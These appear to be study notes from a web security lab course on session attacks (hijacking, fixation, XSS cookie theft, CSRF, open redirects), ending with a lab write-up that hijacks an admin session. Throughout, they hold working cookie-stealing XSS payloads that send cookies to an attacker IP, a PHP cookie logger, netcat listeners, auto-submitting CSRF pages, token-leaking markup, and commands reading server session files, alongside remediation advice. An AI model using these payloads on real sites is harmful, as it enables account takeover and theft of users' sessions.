a user session is a series of requests originating from the same client and the associated responses during a specific time period
modern web apps need to maintain sessions to keep track of info and status about each user
user sessions facilitate the assignment of access or authorization rights, localization settings, etc., while users interact with an app pre and post authentication
HTTP is stateless meaning that each request-response is unrelated to other transactions
each request should carry all needed info for the server to act upon it appropriately, and the session state resides on the client's side only
web apps use cookies, url parameters, url arguments (GET), and body arguments (POST) for session tracking and management
a unique session identifier (Session ID) or token is the basis upon which user sessions are generated and distinguished
session hijacking = an attacker obtains a session id and can essentially impersonate the user
a session id can be:
- captured through passive traffic/packet sniffing
- identified in logs
- predicted
- brute forced
a session ids security level depends on its:
- validity scope (valid for one session only)
- randomness (generated through a robust random number/string generation algorithm)
- validity time (should expire after a certain amount of time)
a session ids security level also depends on the location it is stored:
- URL - http referer header can leak session id to other sites, also browser history will contain session info stored in the url
- HTML - session id can be seen in both the browser's cache memory and any intermediate proxies
- sessionStorage - SessionStorage is a browser storage feature introduced in HTML5. Session ids stored in it can be retrieved as long as the tab or the browser is open; sessionStorage data gets cleared when the page session ends. Know that a page session survives over page reloads and restores
- localStorage - LocalStorage is a browser storage feature in HTML5. Can be retrieved as long as local storage is not deleted by the user. Local storage will not be deleted on browser close with the exception of incognito mode
some different session attacks are:
- session hijacking = attacker takes advantage of insecure session identifiers, obtains them, and uses them to authenticate to the server as the victim
- session fixation = when an attacker can fixate a valid session identifier, attacker will then have to trick the victim into logging into the app using the session id. If the victim does login then the attacker can do a session hijacking attack
- XSS with a focus on user sessions
- CSRF = force and end user to execute inadvertent actions on a web app in which they are currently authenticated. Usually helped with an attacker-crafted web page that the victim must visit or interact with. These pages contain malicious requests that inherit the identity and privileges of the victim to perform an undesired function on the victim's behalf
- open redirects = when an attacker can redirect a victim to an attacker-controlled site by abusing legit site's redirection functionality.
we will refer to URLs such as http://xss.htb.net
with many vhosts that all map to a different directory on the same host
we will have to make manual entries in our /etc/hosts
:
IP=ENTER SPAWNED TARGET IP HERE
printf "%s\t%s\n\n" "$IP" "xss.htb.net csrf.htb.net oredirect.htb.net minilab.htb.net" | sudo tee -a /etc/hosts
attackers take advantage of insecure session ids, obtains them, and uses them to authenticate to the server and impersonate the victim
can obtain sid using the most common methods:
- passive traffic sniffing
- XSS
- browser history or log-diving
- read access to a db containing session info
an attacker might even be able to brute force if the security level of the sid is low
we can login to our target with our example credentials and see:
if we look at our cookies we can see that we have an auth-session
cookie that we can copy:
we can simulate an attacker using a very basic example of copying this cookie value, opening up the page in an incognito window, and then modifying our new cookie to be the victim's cookie:
note that some web apps will use more than one cookie for session tracking
attacker can fixate a valid session id and trick the victim into logging in using the session id, when the victim does then the attacker can perform session hijacking
these bugs usually occur when session id such as cookies are being accepted from URL query strings or POST data
don't need to authenticate to app to get valid session id, and many apps assign valid session ids to anyone who browses them
attacker can be assigned valid session id without needing to authenticate
state 1 can turn into a session fixation vulnerability if:
the assigned session id pre-login remains the same post-login AND session ids such as cookies are being accepted from URL query strings or POST data and propagated to the app
if for example a session related parameter is included in the url and not the cookie header, and any specified value eventually becomes a session id, then an attacker can fixate a session
the attacker only needs to craft a URL to lure the the victim into visiting it, if the user does then the app will assign the session id to the victim
the attacker can then proceed to a session hijacking attack since the session id is already known
our target has a url token parameter that is also the value set for the PHPSESSID
cookie:
if any value or valid session id specified with the token
parameter is propagated to the PHPSESSID
cookie then there is likely a session fixation vulnerability
we can see that if we create a new session and modify the token parameter to our own custom value that it does get propagated to the session cookie:
the attacker could then send a similar URL to a victim, if the victim then logs into the app the attacker can then hijack their session since the session id is already known
note that another way of finding this is by blindly putting the session id name and value in the url and refreshing
for example if we look at http://insecure.exampleapp.com/login
and the session id is the PHPSESSID
cookie, then to test for session fixation we could try:
http://insecure.exampleapp.com/login?PHPSESSID=AttackerSpecifiedCookieValue
and see if the specified cookie value is propagated to the app
the app in this example has the following vulnerable code:
<?php
if (!isset($_GET["token"])) {
session_start();
header("Location: /?redirect_uri=/complete.html&token=" . session_id());
} else {
setcookie("PHPSESSID", $_GET["token"]);
}
?>
if the token parameter isn't defined then start a session and generate a valid session id, otherwise if the token is specified then simply set the session cookie to its value directly
there are many techniques to get session ids and they can be split into two categories:
- without user interaction
- requiring user interaction
traffic sniffing requires the attacker and victim to be on the same local network; not possible to sniff traffic remotely
even if traffic is sniffed, if it is encrypted then it will still likely be impossible to decrypt
obtaining session identifiers through sniffing requires:
- attacker to be positioned on same local network
- unencrypted HTTP traffic
if we go to our target we can see that we have an auth-session
cookie:
if we start a wireshark packet capture on our tun0
interface, we can simulate victim behavior by opening up a new session on the site in an incognito window and login:
we can now look for the victim's cookie in the traffic by looking for HTTP traffic:
then using the Edit -> Find Packet
option we can open the search bar and specify Packet bytes
to look for the auth-session
string:
because the traffic is HTTP we can see the auth-session cookie being set and we can copy it:
again, just as we did in the previous session hijacking example we can simply use this cookie in our browser session to successfully authenticate as the victim
during the post-exploitation phase, session ids and session data can be retrieved from a web server's disk or memory
the PHP session-save_path
entry in the PHP.ini file shows where the session data will be stored
locate php.ini
cat /etc/php/7.4/cli/php.ini | grep 'session.save_path'
cat /etc/php/7.4/apache2/php.ini | grep 'session.save_path'
in the default configuration's case it will be in the /var/lib/php/sessions
in order to see a victim's session id they will need to be logged in
the session files have the naming convention of sess_<sessionID>
ls /var/lib/php/sessions
cat //var/lib/php/sessions/sess_s6kitq8d3071rmlvbfitpim9mm
the Manager
element represents the session manager that is used to create and maintain HTTP sessions
tomcat has two standard implementations of Manager
default stores active sessions, and the optional one stores active sessions that have been swapped out (in addition to saving sessions across a server restart) in a storage location that is selected via the use of an appropriate Store
nested element
the filename of the default session data file is SESSIONS.ser
http://tomcat.apache.org/tomcat-6.0-doc/config/manager.html
session data can be found in:
- the app worker process (aspnet_wp.exe) in the InProc Session Mode
- StateServer (windows service residing on IIS or a separate server) in the OutProc Session Mode
- SQL server
https://www.c-sharpcorner.com/UploadFile/225740/introduction-of-session-in-Asp-Net/
in cases where you have direct access to a database like in a SQL injection or with credentials, you should always check for stored user sessions
show databases;
use project;
show tables;
select * from users;
select * from all_sessions;
select * from all_sessions where id=3;
remember that even though our example in this section specified that we were on the same local network, if the app was an intranet app and we had access to the company's VPN we would still have access to packet sniffing as long as any user connected to the VPN could interact with the app
for an xss attack to result in a session cookie leakage the following requirements must be fulfilled:
- session cookies should be carried in all HTTP requests
- session cookies should be accessible by JS code (the HTTPOnly attribute can't be enabled)
lets login to our target:
for this we will prefer to use payloads with onload
, onerror
, or onmouseover
in our payload we will also use document.domain
to make sure that the JS is being executed on the actual domain and not in a sandbox
lets use 3 different payloads for each field:
when we hit the save button in the UI we will not see our code get executed, this is because often the code will not be called until another app functionality triggers it
if we hit the share button we can then see our country payload triggers:
because our profile is saved and publicly accessible, this seems to be a stored XSS vulnerability
lets now check to see if the HTTPOnly setting is off:
lets now create a cookie-logging script in PHP to practice obtaining a victim's session cookie through sharing a vulnerable link to the stored XSS public profile
<?php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];
$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");
fclose($handle);
header("Location: http://www.google.com/");
exit;
?>
the above script waits for anyone to request ?c=+document.cookie
and it will parse the included cookie
we can run the script with:
php -S <VPN/TUN Adapter IP>:8000
lets go back and fill in our vulnerable profile's email and telephone fields because we did not find any vulnerabilities and we want it to appear more legit
then in the country field we can input our payload:
<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://<VPN/TUN Adapter IP>:8000/log.php?c=' + document.cookie;"></video>
note that if we were doing this in the real world we would want to use something like XSSHunter, Burp Collaborator, or Project Interactsh since a default PHP server or netcat might not send data in the correct form when the target web app uses HTTPS
a sample HTTPS payload could look like:
<h1 onmouseover='document.write(`<img src="https://CUSTOMLINK?cookie=${btoa(document.cookie)}">`)'>test</h1>
now to simulate the victim we will login:
our server hosting our script is running and our vulnerable profile has our payload in it so now as the logged in victim lets navigate to our malicious profile by going to http://xss.htb.net/profile?email=<malicious profile's email>
:
we can see that the logic of the log.php file we created executes as we are redirected to google, and we can look at our server to see the response:
we can then look in the cookielog.txt file to see the stolen cookie and then complete a session hijacking attack
instead of a cookie logging script we could have used the venerable netcat tool
lets instead use this payload in the country field:
<h1 onmouseover='document.write(`<img src="http://<VPN/TUN Adapter IP>:8000?cookie=${btoa(document.cookie)}">`)'>test</h1>
then lets create a netcat listener:
nc -nlvp 8000
then to simulate the victim we can open a new incognito and go directly to our stored XSS profile where we see our payload:
each time the user hovers over the big "test" in the country section we will steal the cookie:
keep in mind this is the base64 encoded version
we don't always have to use the window.location()
object that causes the victim to get redirected, we can use fetch()
which can get data like cookies and send it to our server without redirects
this is stealthier
an example of this can be:
<script>fetch(`http://<VPN/TUN Adapter IP>:8000?cookie=${btoa(document.cookie)}`)</script>
remember that in these attacks even if the app was using SSL encryption the attacker would still be able to capture the cookies because they are client-side
CSRF is forcing an end-user to execute inadvertent actions on a web app they are authenticated to
usually mounted with the help of attacker crafted web apps that the user must visit or interact with
these pages contain malicious requests that inherit the identify and privileges of the victim to perform an undesired function on the victim's behalf
CSRF attacks generally target functions that cause a state change on the server but can also be used for info disclosure
during CSRF, the attacker doesn't need to read the server's response to the malicious cross-site request
the Same-Origin policy, which restricts how a document or script loaded by one origin can interact with a resource, will not prevent this because the same-origin policy will prevent the attacker from reading the server's response but in a CSRF the attacker doesn't have to
a web app is vulnerable to CSRF when:
- all parameters required for the targeted request can be determined or guessed by the attacker
- app session management is solely based on HTTP cookies which are auto included in browser requests
to successfully exploit a CSRF we need:
- to craft a malicious web page that will issue a valid request impersonating the victim
- the victim to be logged into the app at the same time when the cross-site request is issued
in our target if we capture the save request call in burp:
in this request we don't see any type of anti-csrf token
lets now try to execute a CSRF attack against our account that will change her profile details by visiting another site while logged in to the target app
first we make an HTML page that will be our malicious site:
<html>
<body>
<form id="submitMe" action="http://xss.htb.net/api/update-profile" method="POST">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="telephone" value="(227)-750-8112" />
<input type="hidden" name="country" value="CSRF_POC" />
<input type="submit" value="Submit request" />
</form>
<script>
document.getElementById("submitMe").submit()
</script>
</body>
</html>
then we host this page with a simple python server using python -m http.server 1337
then for the victim behavior we make sure we are still logged in and visit the page we are hosting: http://<VPN/TUN Adapter IP>:1337/notmalicious.html
we can see that after visiting the site we can see the logic of changing the profile details gets executed:
remember that this attack will also work with GET based requests
similar to how we can extract session cookies from apps that don't use SSL encryption, we can do the same with CSRF tokens included in unencrypted requests
on our new target after using the save functionality we will see a confirmation window:
if we capture this second save functionality we can see it is a GET request:
one of the parameters, csrf
is the anti-csrf token
lets say we were on the local network and sniffed the above request from the victim
we can use this to deface the victim's profile through a csrf attack
we can create and host another malicious HTML file:
<html>
<body>
<form id="submitMe" action="http://csrf.htb.net/app/save/[email protected]" method="GET">
<input type="hidden" name="email" value="[email protected]" />
<input type="hidden" name="telephone" value="(227)-750-8112" />
<input type="hidden" name="country" value="CSRF_POC" />
<input type="hidden" name="action" value="save" />
<input type="hidden" name="csrf" value="30e7912d04c957022a6d3072be8ef67e52eda8f2" />
<input type="submit" value="Submit request" />
</form>
<script>
document.getElementById("submitMe").submit()
</script>
</body>
</html>
we can use the sniffed anti-csrf token in the above hidden csrf
input field value
now as the logged in victim we can simulate their behavior by visiting our malicious site while logged in http://<VPN/TUN Adapter IP>:1337/notmalicious_get.html
:
again our code is executed and the victim's profile is successfully edited
remember that in this example even if there was SSL encryption we would still be able to perform this attack because the anti-csrf token is directly in the URL, so we would only need to be on the local network and sniff this request
in our target we can delete our account and see:
the email is reflected on the page based on the url parameter so lets try inputting some HTML into the value like:
<h1>h1<u>underline<%2fu><%2fh1>
we can see in the source code that our injection happens before a single quote:
<h1>h1<u>underline</u></h1></div><input name="csrf" type="hidden" value="e8af075a40001423492508756907fe14644ba70f" meta-dev='testdata'
we can abuse this to leak the csrf token
lets listen on netcat on port 8000 with nc -nlvp 8000
then we can send the following payload to our victim to get the csrf token:
<table%20background='%2f%2f<VPN/TUN Adapter IP>:PORT%2f
http://csrf.htb.net/app/delete/%3Ctable background='%2f%2f<VPN/TUN Adapter IP>:8000%2f
then as the logged in victim we can visit our malicious site and see the captured request on our netcat listener:
we can see that our code is executed and we get the encoded csrf token for the victim
remember that this POST request attack doesn't rely on the being in the same local network as the user
also in this scenario even if the site was using secure cookies the attacker would still be able to leak the CSRF token because the connection is what leaks the token
sometimes even if we bypass the CSRF protections we might not be able to create cross-site requests due to some sort of same origin or same site restriction
in this case we can try chaining vulnerabilities to get the same result
our new target has:
- same origin and same site protections as anti-csrf measures
- the apps country field is vulnerable to stored XSS attacks like we saw in the previous XSS section
malicious cross-site requests are out of the question due to the protections but we can still perform CSRF attacks through the stored XSS vulnerability
we will leverage the stored XSS vulnerability to issue a state-changing request against the web app
a request through XSS will bypass any same origin or same site protection since it will derive from the same domain
if we use the change visibility button on our new target and capture the requests we can see:
the payload we want to insert into the country field is:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/app/change-visibility',true);
req.send();
function handleResponse(d) {
var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/app/change-visibility', true);
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
changeReq.send('csrf='+token+'&action=change');
};
</script>
this script will create an ObjectVariable called req
that will generate our request
we send the GET request to /app/change-visibility
in the handleResponse
function we define a token variable that gets the value of the responseText
from the page we specified in our earlier request and looks for the hidden csrf field to grab the value
we know how to look for this by looking through the HTML:
if we can't find it there but we know that there are csrf tokens in use, then make sure to look through the source code, or use your own csrf token and look for it in the source code
the handleRespose
function then sends the POST request to actually send the form info (the GET request was simply to get to the correct page to do so)
it will mimic the captured POST request logic by setting the csrf token value and the action value:
we now go to our profile and set the country field to our payload:
then to simulate our victim's behavior we log in to an account:
notice that this profile doesn't have the "share" button, meaning that it is currently private
our payload script on our malicious user profile will attempt to change other profiles to become public
now go and visit our public profile with our script in it http://minilab.htb.net/[email protected]
:
then when we go back to our victim's profile we can see that it has been changed to a public one with the "share" button because of our script:
we can do the same with the delete functionality if we capture the request and modify our payload:
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/app/delete/[email protected]',true);
req.send();
function handleResponse(d) {
var token = this.responseText.match(/name="csrf" type="hidden" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/app/delete', true);
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
changeReq.send('csrf='+token);
};
</script>
remember that these attacks can still go through even with the Same Origin policy because our code is executed on the domain
often web apps don't use secure or robust token generation algorithms
we can see if this is the case if we register an account and look into the requests to find a csrf token, and check if the MD5 hash of the username is equal to the value of the token
if we look at the requests being sent using the change visibility function and the following confirm function, we can see the csrf token:
lets try to make the MD5 token of the username goldenpeacock467:
echo -n goldenpeacock467 | md5sum
we can see that this is the same value as the set csrf token in the requests
in other examples we can try different methods like md5(username)
, sha1(username)
, md5(current date + username)
, etc.
don't spend too much time on this since it can be impossible to guess, but it's worth a shot
lets create our malicious HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="referrer" content="never">
<title>Proof-of-concept</title>
<link rel="stylesheet" href="styles.css">
<script src="./md5.min.js"></script>
</head>
<body>
<h1> Click Start to win!</h1>
<button class="button" onclick="trigger()">Start!</button>
<script>
let host = 'http://csrf.htb.net'
function trigger(){
// Creating/Refreshing the token in server side.
window.open(`${host}/app/change-visibility`)
window.setTimeout(startPoc, 2000)
}
function startPoc() {
// Setting the username
let hash = md5("crazygorilla983")
window.location = `${host}/app/change-visibility/confirm?csrf=${hash}&action=change`
}
</script>
</body>
</html>
then lets also put in the md5 functionality min.js file in the same directory:
!function(n){"use strict";function d(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function f(n,t,r,e,o,u){return d((u=d(d(t,n),d(e,u)))<<o|u>>>32-o,r)}function l(n,t,r,e,o,u,c){return f(t&r|~t&e,n,t,o,u,c)}function g(n,t,r,e,o,u,c){return f(t&e|r&~e,n,t,o,u,c)}function v(n,t,r,e,o,u,c){return f(t^r^e,n,t,o,u,c)}function m(n,t,r,e,o,u,c){return f(r^(t|~e),n,t,o,u,c)}function c(n,t){var r,e,o,u;n[t>>5]|=128<<t%32,n[14+(t+64>>>9<<4)]=t;for(var c=1732584193,f=-271733879,i=-1732584194,a=271733878,h=0;h<n.length;h+=16)c=l(r=c,e=f,o=i,u=a,n[h],7,-680876936),a=l(a,c,f,i,n[h+1],12,-389564586),i=l(i,a,c,f,n[h+2],17,606105819),f=l(f,i,a,c,n[h+3],22,-1044525330),c=l(c,f,i,a,n[h+4],7,-176418897),a=l(a,c,f,i,n[h+5],12,1200080426),i=l(i,a,c,f,n[h+6],17,-1473231341),f=l(f,i,a,c,n[h+7],22,-45705983),c=l(c,f,i,a,n[h+8],7,1770035416),a=l(a,c,f,i,n[h+9],12,-1958414417),i=l(i,a,c,f,n[h+10],17,-42063),f=l(f,i,a,c,n[h+11],22,-1990404162),c=l(c,f,i,a,n[h+12],7,1804603682),a=l(a,c,f,i,n[h+13],12,-40341101),i=l(i,a,c,f,n[h+14],17,-1502002290),c=g(c,f=l(f,i,a,c,n[h+15],22,1236535329),i,a,n[h+1],5,-165796510),a=g(a,c,f,i,n[h+6],9,-1069501632),i=g(i,a,c,f,n[h+11],14,643717713),f=g(f,i,a,c,n[h],20,-373897302),c=g(c,f,i,a,n[h+5],5,-701558691),a=g(a,c,f,i,n[h+10],9,38016083),i=g(i,a,c,f,n[h+15],14,-660478335),f=g(f,i,a,c,n[h+4],20,-405537848),c=g(c,f,i,a,n[h+9],5,568446438),a=g(a,c,f,i,n[h+14],9,-1019803690),i=g(i,a,c,f,n[h+3],14,-187363961),f=g(f,i,a,c,n[h+8],20,1163531501),c=g(c,f,i,a,n[h+13],5,-1444681467),a=g(a,c,f,i,n[h+2],9,-51403784),i=g(i,a,c,f,n[h+7],14,1735328473),c=v(c,f=g(f,i,a,c,n[h+12],20,-1926607734),i,a,n[h+5],4,-378558),a=v(a,c,f,i,n[h+8],11,-2022574463),i=v(i,a,c,f,n[h+11],16,1839030562),f=v(f,i,a,c,n[h+14],23,-35309556),c=v(c,f,i,a,n[h+1],4,-1530992060),a=v(a,c,f,i,n[h+4],11,1272893353),i=v(i,a,c,f,n[h+7],16,-155497632),f=v(f,i,a,c,n[h+10],23,-1094730640),c=v(c,f,i,a,n[h+13],4,681279174),a=v(a,c,f,i,n[h],11,-358537222),i=v(i,a,c,f,n[h+3],16,-722521979),f=v(f,i,a,c,n[h+6],23,76029189),c=v(c,f,i,a,n[h+9],4,-640364487),a=v(a,c,f,i,n[h+12],11,-421815835),i=v(i,a,c,f,n[h+15],16,530742520),c=m(c,f=v(f,i,a,c,n[h+2],23,-995338651),i,a,n[h],6,-198630844),a=m(a,c,f,i,n[h+7],10,1126891415),i=m(i,a,c,f,n[h+14],15,-1416354905),f=m(f,i,a,c,n[h+5],21,-57434055),c=m(c,f,i,a,n[h+12],6,1700485571),a=m(a,c,f,i,n[h+3],10,-1894986606),i=m(i,a,c,f,n[h+10],15,-1051523),f=m(f,i,a,c,n[h+1],21,-2054922799),c=m(c,f,i,a,n[h+8],6,1873313359),a=m(a,c,f,i,n[h+15],10,-30611744),i=m(i,a,c,f,n[h+6],15,-1560198380),f=m(f,i,a,c,n[h+13],21,1309151649),c=m(c,f,i,a,n[h+4],6,-145523070),a=m(a,c,f,i,n[h+11],10,-1120210379),i=m(i,a,c,f,n[h+2],15,718787259),f=m(f,i,a,c,n[h+9],21,-343485551),c=d(c,r),f=d(f,e),i=d(i,o),a=d(a,u);return[c,f,i,a]}function i(n){for(var t="",r=32*n.length,e=0;e<r;e+=8)t+=String.fromCharCode(n[e>>5]>>>e%32&255);return t}function a(n){var t=[];for(t[(n.length>>2)-1]=void 0,e=0;e<t.length;e+=1)t[e]=0;for(var r=8*n.length,e=0;e<r;e+=8)t[e>>5]|=(255&n.charCodeAt(e/8))<<e%32;return t}function e(n){for(var t,r="0123456789abcdef",e="",o=0;o<n.length;o+=1)t=n.charCodeAt(o),e+=r.charAt(t>>>4&15)+r.charAt(15&t);return e}function r(n){return unescape(encodeURIComponent(n))}function o(n){return i(c(a(n=r(n)),8*n.length))}function u(n,t){return function(n,t){var r,e=a(n),o=[],u=[];for(o[15]=u[15]=void 0,16<e.length&&(e=c(e,8*n.length)),r=0;r<16;r+=1)o[r]=909522486^e[r],u[r]=1549556828^e[r];return t=c(o.concat(a(t)),512+8*t.length),i(c(u.concat(t),640))}(r(n),r(t))}function t(n,t,r){return t?r?u(t,n):e(u(t,n)):r?o(n):e(o(n))}"function"==typeof define&&define.amd?define(function(){return t}):"object"==typeof module&&module.exports?module.exports=t:n.md5=t}(this);
//# sourceMappingURL=md5.min.js.map
then lets host them with python -m http.server 1337
we can login as our victim and then navigate to our malicious site http://<VPN/TUN Adapter IP>:1337/press_start_2_win.html
:
pressing the start button (as our victim) will then force their profile to become public:
obviously if this were a real example our malicious site would be crafted to look for legit, but the purpose was to show that we can generate scripts to automatically use the discovered token generating logic
remember that in this example we use a user-triggered on mouse click event to avoid popup blockers
there are some additional CSRF protections that are out of the scope of this module but are still nice to know
you can try making the csrf token a null or empty value
this may work because sometimes the check is only looking for the header and does not validate the token value
using a randomly generated token of the same length as valid tokens may also work because some protections only check that the token has a value of the correct length
another method is using the same csrf token across accounts, this may work if the app doesn't validate if the csrf token is tied to a specific account and only checks if it is algorithmically correct
you can test this by creating two accounts, getting a token from one account, and then changing the second account's token to the first account's token
if you can successfully execute requests with another user's token then you can successfully execute CSRF attacks
can also try changing the request method like from POST to GET because unexpected requests may be served without the need for a csrf token
sometimes sites use a double-submit cookie as a defense against csrf which makes the request contain the same random token as a cookie and as a request parameter
the server will check if these two values are equal
if this technique is being used then the app might not keep the valid token on the server-side, meaning it doesn't have a way to know if any token is legit and just checks if the token and cookie are the same
session fixation can then be used to create our own token value and execute a CSRF attack with a request like:
POST /change_password
Cookie: CSRF-Token=fixed_token;
POST body:
new_password=pwned&CSRF-Token=fixed_token
if an app is using the referrer header as anti-csrf then you can try just removing it
you can add this meta tag to your hosted CSRF page:
<meta name="referrer" content="no-referrer"
sometimes the referrer has a whitelist regex or a regex that allows one specific domain
for example if the referrer header is checking for "google.com" then we could try something like "google.com.pwned.m3", "pwned.m3?www.google.com", or "pwned.m3/www.google.com"
an open redirect vulnerability is when an attacker can redirect a victim to an attacker-controlled site by abusing a legit app's redirection functionality
$red = $_GET['url'];
header("Location: " . $red);
the above code will use a url parameter without any validation to put in the response header for the url to redirect the page to
an attacker can abuse this lack of validation with a url like:
trusted.site/index.php?url=https://evil.com
always make sure to look for these types of parameters which can look like:
- ?url=
- ?link=
- ?redirect=
- ?redirecturl=
- ?redirect_uri=
- ?return=
- ?return_to=
- ?returnurl=
- ?go=
- ?goto=
- ?exit=
- ?exitpage=
- ?fromurl=
- ?fromuri=
- ?redirect_to=
- ?next=
- ?newurl=
- ?redir=
in our target we can see a url with a redirect_uri
parameter:
a token is also used when using the reset password functionality and is making a POST request to the page specified by the redirect_uri
parameters:
we can test if this is vulnerable to open redirect by inserting our own netcat hosted IP and port into the redirect parameter:
oredirect.htb.net/?redirect_uri=http://10.10.15.245:1337&token=mlf2bhmj3cg29rv689lm92jhu3
then in a new incognito window we can simulate the victim by going to our malicious link and using the site functionality which will generate a response on our netcat listener:
open redirect vulnerabilities are usually used to create legit-looking phishing URLs as well as what we just saw to steal valid user session tokens
remember that this attack would have worked against a GET based form as well
pretty challenging to counter session hijacking because a valid session id grants access to an app by design
user session monitoring and anomaly detection solutions can detect session hijacking
the best way to counter session hijacking is by trying to eliminate all other vulnerabilities
session fixation can be remediated by generating a new session identifier upon an authenticated operation
invalidating any pre-login session id and generating a new one post-login should be enough
session_regenerate_id(bool $delete_old_session = false): bool
the above code will update a current session id with a newly generated one, the current session info is kept
session.invalidate();
session = request.getSession(true);
this will invalidate the current session and gets a new session from the request object
Session.Abandon();
Session.Abandon()
is used for session invalidation purposes but it isn't sufficient for this task
microsoft says that when you abandon a session the session id cookie is not removed from the browser of the user
so as soon as the session is abandoned any new requests to the same app will use the same session id but will have a new session state instance
so to avoid this you would need to overwrite the cookie header or implement more complex cookie-based session management by enriching the info held in a cookie and performing server-side checks
validation of user input should be implemented for every input received immediately upon receiving it
input validation should be performed on the server-side with a positive approach (whitelist) instead of a negative (blacklist)
validation principles in order:
- verify existence of input, no empty or null values
- enforce input size
- validate input type
- restrict the input range of values
- sanitize special characters
- ensure logical input compliance
HTML encoding to user-controlled output should be done in the following cases:
- prior to embedding user-controlled input within browser targeted output
- prior to documenting user-controlled input into log files
the following inputs match the user controlled criteria:
- dynamic values that originate directly from user input (GET, POST, COOKIE, HEADER, FILE UPLOAD, QUERYSTRING)
- user controlled data repo values (database, log, files, etc.)
- session vales originating from user input or user-controlled data repo values
- values from external entities
- any other value that could have been affected by user
- encoding should verify that input matching the given criteria will be processed through a data sanitation component which will replace non-alphanumeric characters in HTML before showing them to the user (every script is presented to the user rather than be executed)
additionally:
- don't embed user input in client-side scripts
- https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
- http://www.degraeve.com/reference/specialcharacters.php
Content-Security-Policy (CSP) headers significantly reduce the risk and impact of XSS attacks in modern browsers by specifying a whitelist in the HTTP response headers
also, cookies should be marked as HTTPOnly for XSS attacks to not be able to capture them
recommended that whenever a request is made to access each function, a check should be done to ensure the user is authorized to perform that action
preferred way to reduce CSRF is by modifying session management mechanisms and implement additional, randomly generated, and non-predictable security tokens or responses to each HTTP request
also can implement referrer header checking to perform verification on the order in which pages are called
can also explicitly state cookie usage with the SameSite attribute
https://web.dev/samesite-cookies-explained/
save use of redirects and forwards can be done by:
- do not use user-supplied URLs and have methods to strictly validate the url
- ensure any user input is valid if needed
- recommended that any destination input is mapped to a value rather than the actual url or portion of the url and the server-side code maps this value to the target
- create list of trusted URLs
- force all redirects to go through a page notifying users that they are being redirected and force them to click a link to confirm (Safe Redirect)
participating in a bug bounty program with only URL in scope is minilab.htb.net
attacking end-users through client-side attacks is in scope
have also already found endpoint minilab.htb.net/submit-solution
find a way to hijack an admin's session
when we log into our test account we can see:
I can see from that we have been assigned an auth session cookie:
I want to see if this cookie changes after login or not so I open a new incognito window and see:
s%3Ab4Qs6dz17oMew9qn-H_7Z4Xz0jdkq0II.z6HkpU%2FETtKw%2Bb9JyLZLyh5FC1iQ9fHD01SK7%2BLDHJM
then after logging in again to our test account I get:
s%3Ab4Qs6dz17oMew9qn-H_7Z4Xz0jdkq0II.z6HkpU%2FETtKw%2Bb9JyLZLyh5FC1iQ9fHD01SK7%2BLDHJM
so the cookie does in fact stay the same after login
first lets see which fields in the public profile might be XSS vulnerable by using three payloads:
the XSS payload is executed after using the "share" functionality with our stored XSS code being executed from the country field
taking a look at the /submit-solution
page we can see that we get the result:
it appears that I need to enter a url in the url
parameter so I link the public profile:
it looks like this page is where I need to be submitting my malicious links so lets now set the public profile country field to this payload and host the cookie stealing PHP script in a php server:
<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = 'http://10.10.15.245:8000/log.php?c=' + document.cookie;"></video>
I then revisit http://minilab.htb.net/submit-solution?url=http://minilab.htb.net/[email protected]
to get the admin to visit the malicious profile and get a response:
I then go back to the main page and set my cookie to the one stolen from the admin page and refresh to see that I am logged in as the admin:
then one I change the visibility of the profile I can click on the "share" button and get the first flag:
in this page there is a download link to a packet capture file to find the second flag which I can open in wireshark:
then since the target app is all HTTP traffic I filter for only HTTP and can see the flag in one of the requests: